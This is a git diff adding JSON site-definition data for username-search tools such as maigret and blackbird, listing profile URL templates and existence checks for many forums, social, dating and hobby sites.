"http://zornet.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zp-mama.ucoz.ua", + "url": "http://zp-mama.ucoz.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zvukinadezdy.ucoz.ru", + "url": "http://zvukinadezdy.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.biz", + "url": "{}.biz", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.com", + "url": "{}.com", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.ddns.net", + "url": "{}.ddns.net", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.email", + "url": "{}.email", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.guru", + "url": "{}.guru", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.me", + "url": "{}.me", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.portfoliobox.net", + "url": "https://{}.portfoliobox.net", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.pro", + "url": "{}.pro", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.tilda.ws", + "url": "https://{}.tilda.ws", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "\u0427\u0430\u0442\u043e\u0432\u043a\u0430.net", + "url": "https://chatovka.net/search?user_nick=+{}&user_sex_m=on&user_sex_f=on", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\u041f\u043e \u0412\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043b\u044e\u0434\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u044b.", + "match_code": 200, + "match_string": "href=\"/user/" + } + ] +} \ No newline at end of file diff --git a/data/sites/maigret.json b/data/sites/maigret.json new file mode 100644 index 0000000..f801056 --- /dev/null +++ b/data/sites/maigret.json @@ -0,0 +1,35922 @@ +{ + "sites": { + "0-3.RU": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 4046374, + "urlMain": "http://0-3.ru", + "usernameClaimed": "donna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "101010.pl": { + "checkType": "status_code", + "urlMain": "https://101010.pl/", + "url": "https://101010.pl/@{username}", + "alexaRank": 1500240, + "usernameClaimed": "ueh_kon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "0k.clan.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 8930061, + "urlMain": "http://0k.clan.su", + "usernameClaimed": "eruzz", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "discussions.ubisoft.com": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "Block User" + ], + "absenceStrs": [ + "You seem to have stumbled upon a page that does not exist. Return to the" + ], + "url": "https://discussions.ubisoft.com/user/{username}?lang=en-US", + "usernameClaimed": "ubi-pingu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1001mem.ru": { + "tags": [ + "ru" + ], + "regexCheck": "^[^.]{1,}$", + "checkType": "message", + "absenceStrs": [ + "\u042d\u0442\u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d." + ], + "alexaRank": 1155058, + "urlMain": "http://1001mem.ru", + "url": "http://1001mem.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1001tracklists": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Info Page" + ], + "absenceStrs": [ + "Sorry, the requested user is not valid!" + ], + "alexaRank": 36590, + "urlMain": "https://www.1001tracklists.com", + "url": "https://www.1001tracklists.com/user/{username}/index.html", + "usernameClaimed": "JacoWilles", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "101xp.com": { + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "XenForo", + "alexaRank": 43529, + "urlMain": "https://forum-ru.101xp.com", + "usernameClaimed": "aida", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "11x2": { + "checkType": "status_code", + "alexaRank": 1429974, + "urlMain": "https://11x2.com", + "url": "https://11x2.com/user/home/{username}", + "usernameClaimed": "hazelamy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "123rf": { + "tags": [ + "photo", + "ru", + "us" + ], + "checkType": "response_url", + "alexaRank": 1151, + "urlMain": "https://ru.123rf.com", + "url": "https://ru.123rf.com/profile_{username}", + "usernameClaimed": "rawpixel", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1337x": { + "tags": [ + "torrent" + ], + "checkType": "message", + "absenceStrs": [ + "Bad Username." + ], + "presenseStrs": [ + "Join Date" + ], + "alexaRank": 492, + "urlMain": "https://1337x.to", + "url": "https://1337x.to/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1xforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 1172921, + "urlMain": "https://1xforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "247sports": { + "tags": [ + "news", + "sport" + ], + "checkType": "status_code", + "alexaRank": 2084, + "urlMain": "https://247sports.com", + "url": "https://247sports.com/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "24open": { + "disabled": true, + "tags": [ + "dating", + "ru", + "us" + ], + "checkType": "status_code", + "alexaRank": 50670, + "urlMain": "https://24open.ru", + "url": "https://24open.ru/user/{username}/", + "usernameClaimed": "niko3193", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2Dimensions": { + "checkType": "status_code", + "alexaRank": 8413056, + "urlMain": "https://2Dimensions.com/", + "url": "https://2Dimensions.com/a/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2berega.spb.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 1128372, + "urlMain": "https://2berega.spb.ru", + "url": "https://2berega.spb.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2d-3d": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 455230, + "urlMain": "https://www.2d-3d.ru", + "url": "https://www.2d-3d.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2fast4u": { + "disabled": true, + "tags": [ + "nl" + ], + "checkType": "message", + "absenceStrs": [ + "Deze gebruiker is niet geregistreerd, zodat je zijn of haar profiel niet kunt bekijken." + ], + "alexaRank": 1325758, + "urlMain": "https://www.2fast4u.be", + "url": "https://www.2fast4u.be/members/?username={username}", + "usernameClaimed": "Schussboelie", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "33bru": { + "tags": [ + "ru", + "ua" + ], + "regexCheck": "^[a-zA-Z0-9-]{3,}$", + "checkType": "message", + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1261462, + "urlMain": "http://33bru.com/", + "url": "http://{username}.33bru.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "3DMir.ru": { + "checkType": "message", + "presenseStrs": [ + "
    " + ], + "absenceStrs": [ + "3DMir.ru - " + ], + "urlMain": "http://www.3dmir.ru/", + "url": "http://www.3dmir.ru/{username}", + "usernameClaimed": "imlegr", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 271232 + }, + "3dcadforums": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 927437, + "urlMain": "https://www.3dcadforums.com/", + "url": "https://www.3dcadforums.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "3ddd": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 11022, + "urlMain": "https://3ddd.ru", + "url": "https://3ddd.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "3dnews": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 6223, + "urlMain": "http://forum.3dnews.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "3dtoday": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 70101, + "urlMain": "https://3dtoday.ru/", + "url": "https://3dtoday.ru/blogs/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "4cheat": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 221253, + "urlMain": "https://4cheat.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "4gameforum": { + "tags": [ + "forum", + "kr", + "ru" + ], + "engine": "XenForo", + "alexaRank": 68569, + "urlMain": "https://4gameforum.com", + "usernameClaimed": "persty", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "4pda": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0412\u0430\u0448 \u043f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + ], + "alexaRank": 3436, + "urlMain": "https://4pda.ru/", + "url": "https://4pda.ru/forum/index.php?act=search&source=pst&noform=1&username={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "4stor": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 288919, + "urlMain": "https://4stor.ru", + "url": "https://4stor.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "500px": { + "tags": [ + "photo" + ], + "errors": { + "Something just went wrong": "Site error", + "PersistedQueryNotFound": "Site error" + }, + "urlProbe": "https://api.500px.com/graphql?operationName=ProfileRendererQuery&variables=%7B%22username%22%3A%22{username}%22%7D&extensions=%7B%22persistedQuery%22%3A%7B%22version%22%3A1%2C%22sha256Hash%22%3A%22fcecc7028c308115b0defebc63acec3fe3c12df86a602c3e1785ba5cfb8fff47%22%7D%7D", + "checkType": "message", + "absenceStrs": [ + "No message available" + ], + "alexaRank": 2906, + "urlMain": "https://500px.com/", + "url": "https://500px.com/p/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "50cc.com.ua": { + "engine": "uCoz", + "urlMain": "http://50cc.com.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "63148.com.ua": { + "engine": "uCoz", + "urlMain": "http://63148.com.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "74507.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://74507.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5800731 + }, + "7Cups": { + "tags": [ + "medicine" + ], + "checkType": "status_code", + "alexaRank": 54115, + "urlMain": "https://www.7cups.com/", + "url": "https://www.7cups.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "7dach": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 14437, + "urlMain": "https://7dach.ru/", + "url": "https://7dach.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "7ya": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 38054, + "urlMain": "https://blog.7ya.ru", + "url": "https://blog.7ya.ru/{username}/", + "usernameClaimed": "trotter", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "9GAG": { + "tags": [ + "sharing" + ], + "checkType": "status_code", + "alexaRank": 459, + "urlMain": "https://www.9gag.com/", + "url": "https://www.9gag.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AMUR": { + "disabled": true, + "tags": [ + "dating", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e!" + ], + "urlMain": "https://apteka.ee", + "url": "https://apteka.ee/user/id/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Aback": { + "tags": [ + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 8956795, + "urlMain": "https://aback.com.ua", + "url": "https://aback.com.ua/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "About.me": { + "tags": [ + "blog", + "in" + ], + "checkType": "status_code", + "alexaRank": 7577, + "urlMain": "https://about.me/", + "url": "https://about.me/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Aboutcar": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 3417602, + "urlMain": "http://aboutcar.ru", + "url": "http://aboutcar.ru/members/{username}.html", + "usernameClaimed": "krolenya", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Academia.edu": { + "tags": [ + "id" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 349, + "urlMain": "https://www.academia.edu/", + "url": "https://independent.academia.edu/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Acomics": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 148931, + "urlMain": "https://acomics.ru", + "url": "https://acomics.ru/-{username}", + "usernameClaimed": "Garage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AdultFriendFinder": { + "tags": [ + "dating", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<select name=\"REG_sex\" >" + ], + "alexaRank": 2857, + "urlMain": "https://adultfriendfinder.com", + "url": "https://adultfriendfinder.com/profile/{username}", + "usernameClaimed": "havefunwing", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "AdvancedCustomFields": { + "tags": [ + "au", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found" + ], + "alexaRank": 7863, + "urlMain": "https://support.advancedcustomfields.com/", + "url": "https://support.advancedcustomfields.com/forums/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Advego": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 10961, + "urlMain": "https://advego.com/", + "url": "https://advego.com/profile/{username}/author/", + "usernameClaimed": "kazakov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Affiliatefix": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 28014, + "urlMain": "https://www.affiliatefix.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Afterellen": { + "disabled": true, + "tags": [ + "forum", + "pk", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 637223, + "urlMain": "https://forums.afterellen.com", + "url": "https://forums.afterellen.com/members/?username={username}", + "usernameClaimed": "buffaloed", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Airbit": { + "checkType": "status_code", + "url": "https://airbit.com/{username}", + "usernameClaimed": "airbit", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Airliners": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 30355, + "urlMain": "https://www.airliners.net/", + "url": "https://www.airliners.net/user/{username}/profile/photos", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Alabay": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "urlMain": "https://alabay.forum24.ru", + "url": "https://alabay.forum24.ru/?32-{username}", + "usernameClaimed": "asian", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Alexgyver": { + "tags": [ + "de", + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 87631, + "urlMain": "https://community.alexgyver.ru", + "usernameClaimed": "kdn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "All-mods": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 276845, + "urlMain": "https://all-mods.ru", + "url": "https://all-mods.ru/author/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllKPop": { + "tags": [ + "de", + "kr", + "us" + ], + "checkType": "response_url", + "alexaRank": 7091, + "urlMain": "https://www.allkpop.com/", + "url": "https://www.allkpop.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllRecipes": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Page Not Found.", + "You may have mistyped the address, or the page may have moved." + ], + "presenseStrs": [ + "Saved Items & Collections", + "{username}" + ], + "alexaRank": 983, + "urlMain": "https://www.allrecipes.com/", + "url": "https://www.allrecipes.com/cook/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllTheLyrics": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "music" + ], + "engine": "vBulletin", + "alexaRank": 92241, + "urlMain": "https://www.allthelyrics.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllTheSoft": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 1761461, + "urlMain": "http://www.allthesoft.com", + "url": "http://www.allthesoft.com/member/{username}.html", + "usernameClaimed": "marmon4270", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllTrails": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "presenseStrs": [ + "Profile" + ], + "absenceStrs": [ + "You are being" + ], + "alexaRank": 4429, + "urlMain": "https://www.alltrails.com/", + "url": "https://www.alltrails.com/members/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Allhockey": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 43048, + "urlMain": "https://allhockey.ru/", + "url": "https://allhockey.ru/blog/{username}", + "usernameClaimed": "Dmitri%20Nikulin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Allods": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://allods.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "AlternativeTo": { + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "<title>404: This page could not be found" + ], + "alexaRank": 6524, + "urlMain": "https://alternativeto.net/", + "url": "https://alternativeto.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Alushta24": { + "tags": [ + "ru", + "ua" + ], + "checkType": "response_url", + "alexaRank": 2013642, + "urlMain": "https://alushta24.org", + "url": "https://alushta24.org/user/{username}/", + "usernameClaimed": "Igor11324", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AmazfitWatchFaces": { + "urlSubpath": "/forum", + "tags": [ + "ae", + "es", + "forum", + "gr", + "id", + "ir", + "ru" + ], + "engine": "phpBB", + "alexaRank": 139768, + "urlMain": "https://amazfitwatchfaces.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ameba": { + "tags": [ + "jp" + ], + "checkType": "status_code", + "alexaRank": 1112, + "urlMain": "https://profile.ameba.jp", + "url": "https://profile.ameba.jp/ameba/{username}/", + "usernameClaimed": "haruharuko3", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Americanthinker": { + "checkType": "message", + "absenceStrs": [ + "American Thinker" + ], + "presenseStrs": [ + "Articles:" + ], + "urlMain": "https://www.americanthinker.com/", + "url": "https://www.americanthinker.com/author/{username}/", + "usernameClaimed": "monicashowalter", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11394 + }, + "Amirite": { + "disabled": true, + "tags": [ + "gb", + "in" + ], + "checkType": "status_code", + "alexaRank": 795752, + "urlMain": "https://www.amirite.com", + "url": "https://www.amirite.com/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Amperka": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 126531, + "urlMain": "http://forum.amperka.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Amspb": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 8462543, + "urlMain": "https://amspb.info", + "usernameClaimed": "SSV", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anapakurort": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0442\u0430\u043a\u043e\u0433\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430 \u0444\u043e\u0440\u0443\u043c\u0430 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 3260857, + "urlMain": "http://www.anapakurort.info", + "url": "http://www.anapakurort.info/forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anarcho-punk": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 2863384, + "urlMain": "https://www.anarcho-punk.net/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Androidforums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 52260, + "urlMain": "https://androidforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Angara": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 516377, + "urlMain": "https://angara.net", + "url": "https://angara.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Angelgothics": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7446429, + "urlMain": "http://angelgothics.ru", + "usernameClaimed": "Angel", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anibox": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 416411, + "urlMain": "https://www.anibox.org", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anime-planet": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 6789, + "urlMain": "https://www.anime-planet.com", + "url": "https://www.anime-planet.com/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anime.web.tr": { + "tags": [ + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "\u00dczg\u00fcn\u00fcz, b\u00f6yle bir kullan\u0131c\u0131 bulunmuyor" + ], + "alexaRank": 2050393, + "urlMain": "http://www.anime.web.tr/", + "url": "http://www.anime.web.tr/yazar/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AnimeNewsNetwork": { + "urlSubpath": "/bbs", + "tags": [ + "gb", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Could not find expected value in database" + ], + "alexaRank": 11732, + "urlMain": "https://www.animenewsnetwork.com", + "url": "https://www.animenewsnetwork.com/bbs/phpBB2/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AnimeSuperHero": { + "disabled": true, + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 556400, + "urlMain": "https://animesuperhero.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "AnimeUKNews": { + "tags": [ + "forum", + "pk" + ], + "engine": "XenForo", + "alexaRank": 668885, + "urlMain": "https://forums.animeuknews.net/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Animebase": { + "engine": "XenForo", + "alexaRank": 1397750, + "urlMain": "https://animebase.me", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "pk" + ] + }, + "Animeforum": { + "tags": [ + "forum", + "pk", + "us", + "vn" + ], + "engine": "vBulletin", + "alexaRank": 459861, + "urlMain": "https://www.animeforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anonup": { + "checkType": "message", + "absenceStrs": [ + "Page not found!" + ], + "presenseStrs": [ + "Following" + ], + "url": "https://anonup.com/@{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antichat": { + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 75555, + "urlMain": "https://forum.antichat.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antipunk": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://antipunk.com/", + "url": "https://antipunk.com/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11955805 + }, + "Antique-bottles": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 2027590, + "urlMain": "https://www.antique-bottles.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antiquers": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 482527, + "urlMain": "https://www.antiquers.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antiwomen": { + "tags": [ + "forum", + "ru" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Too many searhes per IP", + "\u0414\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442 \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430.": "IP ban" + }, + "engine": "phpBB/Search", + "alexaRank": 269462, + "urlMain": "https://antiwomen.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ApexLegends": { + "checkType": "message", + "absenceStrs": [ + "PLAYER NOT FOUND" + ], + "presenseStrs": [ + "Overview" + ], + "url": "https://apex.tracker.gg/apex/profile/origin/{username}/overview", + "usernameClaimed": "RollsRoyce_Dawn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Appearoo": { + 